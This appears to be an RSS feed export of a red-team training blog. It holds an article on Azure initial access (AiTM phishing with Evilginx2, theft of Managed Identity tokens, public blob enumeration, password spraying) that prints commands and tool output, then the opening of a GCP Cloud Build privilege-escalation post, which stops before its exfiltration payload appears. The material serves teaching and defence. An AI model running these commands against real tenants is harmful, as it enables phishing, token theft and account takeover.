&lt;p&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;Attackers can use sophisticated phishing frameworks, such as &lt;a href="https://github.com/kgretzky/evilginx2"&gt;Evilginx2&lt;/a&gt;, to capture authentication requests. With Evilginx2 and other Adversary-in-The-Middle (AiTM) frameworks, the attacker creates a phishing link that directs the target to the Evilginx2 reverse-proxied login page. This link is often shared via email or messaging platforms. When the target user clicks the phishing link, the malicious domain resolves to the&amp;nbsp; Evilginx2 server. When they enter their credentials, Evilginx2 forwards these credentials on to the &lt;a href="https://login.microsoftonline.com"&gt;https://login.microsoftonline.com&lt;/a&gt; endpoint. Once the victim successfully logs in, Evilginx2 captures the authentication token (OAuth or SAML) and any session cookies. This allows the attacker to authenticate as the user without needing their password (although the user's password and OTP is captured as well).&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;Adversary-in-The-Middle attacks allow threat actors not only to phish credentials but completely hijack authenticated sessions, bypassing MFA restrictions entirely. We can use an Evilginx2 Microsoft 365 &lt;a href="https://github.com/faelsfernandes/evilginx3-phishlets/blob/main/o365-mfa.yaml"&gt;phishlet&lt;/a&gt; to launch facilitate the attack.&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 20px;"&gt;&lt;span&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;PS C:\AzureTools&amp;gt; evilginx2 -p C:\AzureTools\evilginx2\phishlets&lt;br&gt;: config domain attacker.threat&lt;br&gt;&lt;a href="https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/#__codelineno-3-3"&gt;&lt;/a&gt;: config ip 10.10.10.10 &lt;br&gt;&lt;a href="https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/#__codelineno-3-4"&gt;&lt;/a&gt;: phishlets hostname o365 login.attacker.threat&lt;br&gt;&lt;a href="https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/#__codelineno-3-5"&gt;&lt;/a&gt;: phishlets get-hosts o365&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&lt;span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;This initial access tactic can be explored in the &lt;a href="https://pwnedlabs.io/labs/phished-for-initial-access"&gt;Phished for Initial Access&lt;/a&gt; and &lt;a href="https://pwnedlabs.io/labs/bypass-azure-mfa-with-evilginx"&gt;Bypass Azure MFA with Evilginx&lt;/a&gt; hands-on labs.&lt;br&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;h2&gt;&lt;span&gt;App Services compromise &#x1f30e;&lt;/span&gt;&lt;/h2&gt; 
&lt;p&gt;&lt;span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;Azure App Services is a fully managed platform for building, deploying, and scaling web applications and services. It supports various programming languages, including .NET, PHP, Node.js, Python, and Java, allowing developers to create web apps, mobile backends, and RESTful APIs. Azure App Services (even serverless apps) can be vulnerable to a wide range of web application vulnerabilities such as &lt;span style="font-weight: normal;"&gt;Insecure Direct Object References (IDOR), SQL Injection, OS Command Injection, Server-Side Request Forgery (SSRF) and more.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&lt;span&gt;&lt;span style="font-size: 18px;"&gt;&lt;span style="font-weight: normal;"&gt;&lt;br&gt;&lt;/span&gt;Exploiting those vulnerabilities on public-facing Azure App Services, such as Web Apps or Function Apps, can provide threat actors with an opportunity to gain access to information, get code execution, and even steal access tokens if the resource has been configured with a Managed Identity. For example, an OS command injection vulnerability can be leveraged to access the &lt;em&gt;IDENTITY_ENDPOINT&lt;/em&gt; and &lt;em&gt;IDENTITY_HEADER&lt;/em&gt; environment variables that an attacker can use&amp;nbsp; the attacker can use to craft the request below and get tokens for the Managed Identity.&lt;br&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;code&gt;&lt;span style="font-size: 18px;"&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;curl "$IDENTITY_ENDPOINT?api-version=2019-08-01&amp;amp;resource=https://management.azure.com/" -H "X-Identity-Header: $IDENTITY_HEADER"&lt;/span&gt;&lt;br&gt;&lt;/span&gt;&lt;br&gt;&lt;/code&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&lt;span&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-Oct-21-2024-08-05-01-5622-PM.png?width=2322&amp;amp;height=1104&amp;amp;name=image-png-Oct-21-2024-08-05-01-5622-PM.png" width="2322" height="1104"&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;This allows the attacker to authenticate and authorize to the Azure as that Managed Identity (which is a special kind of service principal), in order to further enumerate the tenant and potentially move laterally to other resources. We can authenticate using the gained access token with the PowerShell Az module as shown below. The AccountId parameter can be any arbitrary value, although it is recommended to name it in such a way that allows us to identify and manage multiple concurrent sessions.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 20px;"&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;$armtoken = 'eyJ0eXAi...b9zJ6I8wgA'&lt;br&gt;Connect-AzAccount -AccessToken $armtoken -AccountId &amp;lt;ANYTHING&amp;gt;&lt;/code&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&lt;span style="font-size: 18px;"&gt;&lt;br&gt;Organizations should always have their public-facing Azure App Services thoroughly audited for OWASP Top 10 Vulnerabilities since they provide an fruitful attack surface for threat actors looking to get an initial foothold in the target tenant.&lt;/span&gt;&lt;/p&gt; 
&lt;h4&gt;&lt;br&gt;Sensitive information in public blob containers&lt;/h4&gt; 
&lt;p&gt;&lt;span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;Azure Blob Storage is Microsoft's object storage solution for the cloud. Blob Storage is optimized for storing massive amounts of unstructured data. &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: 18px;"&gt;A container organizes a set of blobs, similar to a directory in a file system. Containers have valid DNS names, as they form part of the unique URI (Uniform resource identifier) used to address the container or its blobs.&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&lt;span style="font-size: 18px;"&gt;Blob containers that allow anonymous access could expose sensitive information such as credentials to attackers, giving them an initial foothold in the tenant. Often, these containers can be found storing unprotected files with sensitive information such as configuration files and various credentials such as SSH and API keys or passwords. Attackers can exploit this by scanning publicly accessible containers, retrieving the exposed data, and using it to authenticate to the tenant and get a foothold.&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&lt;span style="font-size: 18px;"&gt;Tools such as MicroBurst or AzSubEnum can be used to scan for containers that allow anonymous access.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
&lt;p style="font-size: 20px;"&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;PS C:\AzureTools\AzSubEnum&amp;gt; python.exe .\azsubenum.py -b targetorg -p .\permutations.txt -t 15 --blobsenum -bt 15&lt;/code&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 20px;"&gt;&lt;span style="font-size: 20px; font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace; color: #9a00ff;"&gt;&lt;code&gt;&amp;lt;snip&amp;gt;&lt;/code&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 20px;"&gt;&lt;span style="font-size: 20px; font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace; color: #9a00ff;"&gt;&lt;code&gt;Checking for publicly accessible blob containers...&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px; font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace; color: #9a00ff;"&gt;&lt;code&gt;[+] Publicly accessible container found: https://targetorg.blob.core.windows.net/files?restype=container&amp;amp;comp=list&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px; font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace; color: #9a00ff;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; (To access the Blob Container through the Azure Storage Explorer use the following URL: https://targetorg.blob.core.windows.net/files)&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px; font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace; color: #93c47d;"&gt;&lt;code&gt;[+] Blob contents:&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px; font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace; color: #93c47d;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; - clients.csv&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px; font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace; color: #93c47d;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; - uploadpage.php&lt;/code&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;In the example above, attackers could leverage access to exposed source code files to perform a source code review and identify vulnerabilities that would have been very difficult if not impossible to identify without this access. Threat actors can then attempt to leverage the vulnerability to gain additional information or to steal managed identity access tokens.&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&lt;span style="font-size: 18px;"&gt;&lt;br&gt;This initial access tactic can be explored in the &lt;a href="https://labs.pwnedlabs.io/azure-blob-container-to-initial-access"&gt;Azure Blob Container to Initial Access&lt;/a&gt;&amp;nbsp;lab.&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;h4&gt;Inadvertent disclosure&lt;br&gt;&lt;br&gt;&lt;/h4&gt; 
&lt;p style="font-size: 18px;"&gt;Inadvertent disclosure occurs when sensitive information, such as credentials or Azure Storage SAS keys, are mistakenly shared on public platforms like GitHub, Stack Overflow or online forums. Threat actors actively scan these platforms for exposed secrets, which they can use to gain unauthorized access to resources in Azure and Microsoft 365. Avoiding sharing sensitive information publicly and regularly scanning for such leaks is crucial in ensuring that organizations maintain a secure posture. When a leak is detected, it should be assumed that a breach has already occurred, so any credentials (password and tokens) should be immediately rotation, logs should be investigated and a potential blast radius should be established.&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;A good case study can be found &lt;a href="https://www.aquasec.com/blog/github-repos-expose-azure-and-red-hat-secrets/"&gt;here&lt;/a&gt; where Azure secrets were exposed through employees' personal GitHub repositories.&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;This Initial Access tactic can be explored further in the lab &lt;a href="https://labs.pwnedlabs.io/abuse-dynamic-groups-in-entra-id-for-privilege-escalation"&gt;Abuse Dynamic Groups in Entra ID for Privilege Escalation&lt;/a&gt;.&lt;/p&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;h4&gt;Password spraying&lt;br&gt;&lt;br&gt;&lt;/h4&gt; 
&lt;p&gt;&lt;span style="font-size: 18px;"&gt;Password spraying is a common attack technique used to gain initial access to Azure environments by exploiting weak or commonly used passwords. Instead of targeting a single user account with multiple password attempts (credential stuffing), attackers try common passwords across many different accounts to reduce the likelihood of accounts locking out. This can be particularly effective against accounts that lack multi-factor authentication (MFA) or have weak password policies. Once an attacker successfully guesses a password, they can gain access to the tenant.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
&lt;p style="font-size: 20px;"&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;PS /home/pri3st/Desktop/Training/PwnedLabs/MCRTA/MicroBurst/MSOLSpray&amp;gt; Invoke-MSOLSpray -UserList ./validemails.txt -Password 'Password123!'&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;[*] There are 4 total users to spray.&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;[*] Now spraying Microsoft Online.&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;[*] Current date and time: 08/17/2024 20:36:21&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;&lt;span style="color: #93c47d;"&gt;[*] SUCCESS! koni.danillo@breached.org: Password123!&amp;nbsp; &lt;/span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;[*] WARNING! The user yamamoto.sota@breached.org doesn't exist.&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;[*] WARNING! The user john.doe@breached.org doesn't exist.&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-family: 'Andale Mono', AndaleMono, 'Lucida Console', monospace;"&gt;&lt;code&gt;[*] WARNING! The user takis.tsoukalas@breached.org doesn't exist.&lt;/code&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;Discovering the email convention of the target tenant is a key prerequisite since valid usernames are required to execute a password spraying attack. Predictable naming formats, such as &lt;a&gt;firstname.lastname@domain.com&lt;/a&gt; or &lt;a&gt;userID@domain.com&lt;/a&gt;, make it easier for threat actors to enumerate potential accounts, with possible employee names gathered from OSINT operations.&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&lt;span style="font-size: 18px;"&gt;Attackers can also leverage tools such as &lt;a href="https://github.com/Mebus/cupp"&gt;CUPP&lt;/a&gt; (Common User Passwords Profiler) to gather personal information about a specific employee, including their name, hobbies, and birth dates from social media or public sources. This data is then used to generate a custom list of likely passwords based on the individual’s habits and interests. By use this personal information, attackers can increase their chances of success.&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&lt;span style="font-size: 18px;"&gt;As a defense against password spraying, organizations should enforce strong password policies and enforce MFA for all employee accounts. Security awareness training should also be implemented for all employees, in order to reduce the likelihood of bad security practises and poor online trust decisions.&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="font-size: 18px;"&gt;&lt;/span&gt;&lt;span style="font-size: 18px;"&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&lt;span style="font-size: 18px;"&gt;This Initial Access tactic can be explored in the &lt;a href="https://pwnedlabs.io/labs/azure-recon-to-foothold-and-profit"&gt;Azure Recon to Foothold and Profit&lt;/a&gt; lab.&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;h4&gt;Leaked credentials&lt;br&gt;&lt;br&gt;&lt;/h4&gt; 
&lt;p&gt;&lt;span style="font-size: 18px;"&gt;Threat actors often gather stolen credentials from past data breaches and attempt to re-use them with Microsoft services such as Azure and Microsoft 365, hoping the same username-password combination is in use. If password reuse is prevalent in a business, and multi-factor authentication (MFA) isn’t enforced, this increases the chances of threat actors getting access to company resources.&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;h2 style="font-size: 2em; font-weight: bold; margin: .67em 0;"&gt;&lt;span style="font-size: 32px;"&gt;Mitigation Tactics&lt;/span&gt; ⚡️&lt;/h2&gt; 
&lt;p&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;Reducing the attack surface for unauthenticated attackers and preventing them from gaining the crucial initial foothold in an Azure tenant is not a simple task. It requires a multi-layered approach to ensure that there are always safety mechanisms in case one layer of security fails. Common suggestions to deal with the mentioned attacks are the following:&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;ul&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;Enforcement of strong password policies&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;Enforce multi-factor authentication&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;Monitor and audit sign-in and access logs&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;Use conditional access rules to restrict access to trusted networks and devices&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;Perpetually scan public repositories and forums for exposed credentials and secrets (GitHub and AWS also do a great job with scanning repositories for leaked credentials)&lt;/span&gt;&lt;/li&gt; 
 &lt;li&gt;&lt;span style="font-size: 18px;"&gt;Educate employees on social engineering risks, password hygiene, and the dangers of publicly sharing personal or corporate information&lt;/span&gt;&lt;/li&gt; 
&lt;/ul&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;h2 style="font-size: 32px; font-weight: bold; margin: .67em 0;"&gt;Wrap-up&lt;/h2&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;br&gt;This article demonstrated some of the most common attack vectors that threat actors use to gain an initial foothold in the Microsoft cloud. Understanding these tactics is crucial for defenders to implement effective security measures, as well as penetration testers and auditors to make sure they leave no stone unturned while evaluating the security posture of their clients.&lt;/p&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;h2&gt;Bottom Line&lt;/h2&gt; 
&lt;p&gt;Azure initial access requires a multi-vector defense: unauthenticated attackers map tenants through enumeration tools and OSINT, then exploit phishing (illicit consent, device codes, AiTM), vulnerable App Services, exposed blob containers, and weak credentials. Organizations must enforce MFA organization-wide, scan repositories for leaked secrets continuously, audit public-facing applications for OWASP Top 10 vulnerabilities, and train employees on social engineering risks to meaningfully reduce this critical attack surface.&lt;/p&gt;    
&lt;img src="https://track-eu1.hubspot.com/__ptq.gif?a=27219020&amp;amp;k=14&amp;amp;r=https%3A%2F%2Fblog.pwnedlabs.io%2Fmapping-attack-surface-for-azure-initial-access&amp;amp;bu=https%253A%252F%252Fblog.pwnedlabs.io&amp;amp;bvt=rss" alt="" width="1" height="1" style="min-height:1px!important;width:1px!important;border-width:0!important;margin-top:0!important;margin-bottom:0!important;margin-right:0!important;margin-left:0!important;padding-top:0!important;padding-bottom:0!important;padding-right:0!important;padding-left:0!important; "&gt;</content:encoded>
      <category>Azure</category>
      <category>Red Team</category>
      <category>initial access</category>
      <pubDate>Tue, 22 Oct 2024 07:49:45 GMT</pubDate>
      <guid>https://blog.pwnedlabs.io/mapping-attack-surface-for-azure-initial-access</guid>
      <dc:date>2024-10-22T07:49:45Z</dc:date>
      <dc:creator>Marios Pappas</dc:creator>
    </item>
    <item>
      <title>Exploiting GCP Cloud Build for Privilege Escalation</title>
      <link>https://blog.pwnedlabs.io/exploiting-gcp-cloud-build-for-privilege-escalation</link>
      <description>&lt;div class="hs-featured-image-wrapper"&gt; 
 &lt;a href="https://blog.pwnedlabs.io/exploiting-gcp-cloud-build-for-privilege-escalation" title="" class="hs-featured-image-link"&gt; &lt;img src="https://blog.pwnedlabs.io/hubfs/gcp_cloud_build.png" alt="Exploiting GCP Cloud Build for Privilege Escalation" class="hs-featured-image" style="width:auto !important; max-width:50%; float:left; margin:0 15px 15px 0;"&gt; &lt;/a&gt; 
&lt;/div&gt; 
&lt;p&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;In this blog post, we will explore how to exploit Cloud Build to escalate privileges and achieve lateral movement in a GCP cloud environment. Before diving deeper into this topic, let's understand Cloud Build from a broader perspective.&lt;br&gt;&lt;/span&gt;&lt;span style="font-size: 20px;"&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;In this blog post, we will explore how to exploit Cloud Build to escalate privileges and achieve lateral movement in a GCP cloud environment. Before diving deeper into this topic, let's understand Cloud Build from a broader perspective.&lt;br&gt;&lt;/span&gt;&lt;span style="font-size: 20px;"&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt;  
&lt;div style="background-color: #f0f4f8; border-left: 4px solid #1a73e8; padding: 20px; margin: 20px 0; font-size: 16px; line-height: 1.6;"&gt;
 &lt;span style="color: #000000;"&gt;&lt;strong&gt;Key Takeaway:&lt;/strong&gt; GCP Cloud Build's default service account carries the &lt;code&gt;cloudbuild.builds.create&lt;/code&gt; permission and broad project-level access, enabling privilege escalation from build pipeline compromise to full project control through service account impersonation, secret extraction, and lateral movement across GCP services.&lt;/span&gt;
&lt;/div&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;div style="font-size: 18px;"&gt; 
 &lt;h2&gt;&lt;span style="font-size: 32px;"&gt;Intro to Cloud Build&lt;/span&gt; &#x1f300;&lt;/h2&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;span style="font-size: 18px;"&gt;Cloud Build is a service that executes your builds on Google Cloud. It can import source code from a variety of repositories or cloud storage spaces, execute a build according to your specifications, and produce artifacts such as Docker containers or Java archives.&lt;br&gt;&lt;br&gt;Let's examine how builds work. The following &lt;a href="https://cloud.google.com/build/docs/overview"&gt;steps&lt;/a&gt; describe, in general, the lifecycle of a Cloud Build build:&lt;br&gt;&lt;br&gt;&lt;/span&gt;
&lt;/div&gt; 
&lt;ol&gt; 
 &lt;li style="font-size: 18px;"&gt;&lt;span style="font-size: 18px;"&gt;Prepare your application code and any needed assets&lt;/span&gt;&lt;/li&gt; 
 &lt;li style="font-size: 18px;"&gt;&lt;span style="font-size: 18px;"&gt;Create a build config file in YAML or JSON format, which contains instructions for Cloud Build&lt;/span&gt;&lt;/li&gt; 
 &lt;li style="font-size: 18px;"&gt;&lt;span style="font-size: 18px;"&gt;Submit the build to Cloud Build&lt;/span&gt;&lt;/li&gt; 
 &lt;li style="font-size: 18px;"&gt;&lt;span style="font-size: 18px;"&gt;Cloud Build executes your build based on the build config you provided&lt;/span&gt;&lt;/li&gt; 
 &lt;li style="font-size: 18px;"&gt;&lt;span style="font-size: 18px;"&gt;If applicable, any built artifacts are pushed to Artifact Registry&lt;br&gt;&lt;/span&gt;&lt;span style="font-size: 18px;"&gt;&lt;/span&gt;&lt;/li&gt; 
&lt;/ol&gt; 
&lt;div style="font-size: 18px;"&gt;
 &lt;br&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;span style="font-size: 18px;"&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/Slide1.jpg?width=1280&amp;amp;height=720&amp;amp;name=Slide1.jpg" width="1280" height="720" alt="Slide1" style="height: auto; max-width: 100%; width: 1280px;"&gt;&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;span style="font-size: 18px;"&gt;You can learn more about working of Cloud Build from the &lt;a href="https://cloud.google.com/build/docs/overview"&gt;Google Documentation &lt;/a&gt;&lt;/span&gt;&lt;span style="font-size: 18px;"&gt;.&lt;/span&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;h2 style="font-size: 28px;"&gt;Pre-Exploitation Setup &amp;nbsp;&#x1f4bb;&lt;/h2&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;To perform the attack, we need a service account or user account with write access to a source repository linked to Cloud Build. This scenario assumes we have already commandeered a user or service account with source writer permissions through methods such as:&lt;/p&gt; 
 &lt;ul&gt; 
  &lt;li&gt;Harvesting leaked service account key files&lt;/li&gt; 
  &lt;li&gt;Phishing&amp;nbsp;&lt;/li&gt; 
  &lt;li&gt;Exploiting application vulnerabilities&amp;nbsp;&lt;/li&gt; 
  &lt;li&gt;Cloud resource misconfigurations&lt;/li&gt; 
 &lt;/ul&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;/p&gt; 
 &lt;div style="font-size: 18px;"&gt; 
  &lt;h2&gt;Exploitation&amp;nbsp; &#x1f41a;&lt;/h2&gt; 
  &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;/div&gt; 
 &lt;p style="font-size: 18px;"&gt;A basic high-level overview of this privilege escalation is that we will exploit our own current permission to modify the &lt;code&gt;cloudbuild.yaml&lt;/code&gt; file with our own malicious code and then push it into the source repository, which will trigger Cloud Build and execute our malicious code, sending the OAuth token of the attached service account to an attacker-controlled webhook.&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;img src="https://blog.pwnedlabs.io/hubfs/cloudbuild-exploit-path-v3.drawio.svg" alt="cloudbuild-exploit-path-v3.drawio" width="1687" height="764"&gt;&lt;/p&gt; 
 &lt;h2 style="font-size: 32px;"&gt;&amp;nbsp;&lt;/h2&gt; 
 &lt;h2 style="font-size: 28px;"&gt;Structure of cloudbuild.yaml &amp;nbsp;&#x1f4dd;&lt;/h2&gt; 
 &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;The &lt;code&gt;cloudbuild.yaml&lt;/code&gt; file serves as a configuration file for defining the build steps and options for Cloud Build in Google Cloud Platform. It consists of several key components:&lt;/p&gt; 
 &lt;ul style="font-size: 16px;"&gt; 
  &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;code&gt;&lt;span style="color: #d63384;"&gt;Steps &lt;/span&gt;&lt;/code&gt;: Describes the sequence of build actions to be performed, such as running Docker commands or executing scripts.&lt;/span&gt;&lt;/li&gt; 
  &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;code&gt;&lt;span style="color: #d63384;"&gt;Name and Args &lt;/span&gt;&lt;/code&gt;: Specifies the builder image to use for each step and the corresponding arguments to pass to the builder image.&lt;/span&gt;&lt;/li&gt; 
  &lt;li&gt;&lt;span style="font-size: 18px;"&gt;&lt;code&gt;&lt;span style="color: #d63384;"&gt;Options &lt;/span&gt;&lt;/code&gt;: Provides additional build options, such as timeouts or logging settings.&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 18px;"&gt;&lt;/span&gt;&lt;/li&gt; 
 &lt;/ul&gt; 
 &lt;p style="font-size: 18px;"&gt;Example:&lt;/p&gt; 
&lt;/div&gt; 
&lt;div&gt; 
 &lt;p style="font-size: 20px;"&gt;&lt;code&gt;&lt;span style="color: #d63384;"&gt;steps:&lt;br&gt;# Each step represents a build action.&lt;br&gt;&amp;nbsp;- name: 'gcr.io/cloud-builders/docker'&lt;br&gt;&amp;nbsp; &amp;nbsp;args: ['build', '-t', 'gcr.io/PROJECT-ID/Container-Name', '.']&lt;br&gt;&lt;br&gt;# You can have multiple steps, each performing a different action.&lt;br&gt;&amp;nbsp;- name: 'gcr.io/cloud-builders/docker'&lt;br&gt;&amp;nbsp; &amp;nbsp;args: ['push', 'gcr.io/PROJECT-ID/Container-Name']&lt;/span&gt;&lt;/code&gt;&lt;/p&gt; 
 &lt;p style="font-size: 20px;"&gt;&lt;code&gt;&lt;span style="color: #d63384;"&gt;&lt;br&gt;options:&lt;br&gt;&amp;nbsp;logging: CLOUD_LOGGING_ONLY&lt;/span&gt;&lt;/code&gt;&lt;/p&gt; 
 &lt;p style="font-size: 20px;"&gt;&amp;nbsp;&lt;/p&gt; 
 &lt;h2 style="font-size: 18px;"&gt;&lt;span style="font-size: 28px;"&gt;Creating the Malicious cloudbuild.yaml &amp;nbsp;&#x1f9e8;&lt;/span&gt;&lt;/h2&gt; 
 &lt;p style="font-size: 18px;"&gt;&lt;br&gt;Now we understand the structure of the cloudbuild.yaml file, let's create our devious version. This crafted file will retrieve the email and OAuth token of the service account that's linked to the Cloud Build trigger, and then send it to our Discord webhook. You can refer to the official documentation on for creating a &lt;a href="https://support.discord.com/hc/en-us/articles/228383668-Intro-to-Webhooks"&gt;Discord webhook&lt;/a&gt;.&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
 &lt;p style="font-size: 18px;"&gt;Example of the malicious &lt;code&gt;cloudbuild.yaml&lt;/code&gt;:&lt;/p&gt; 
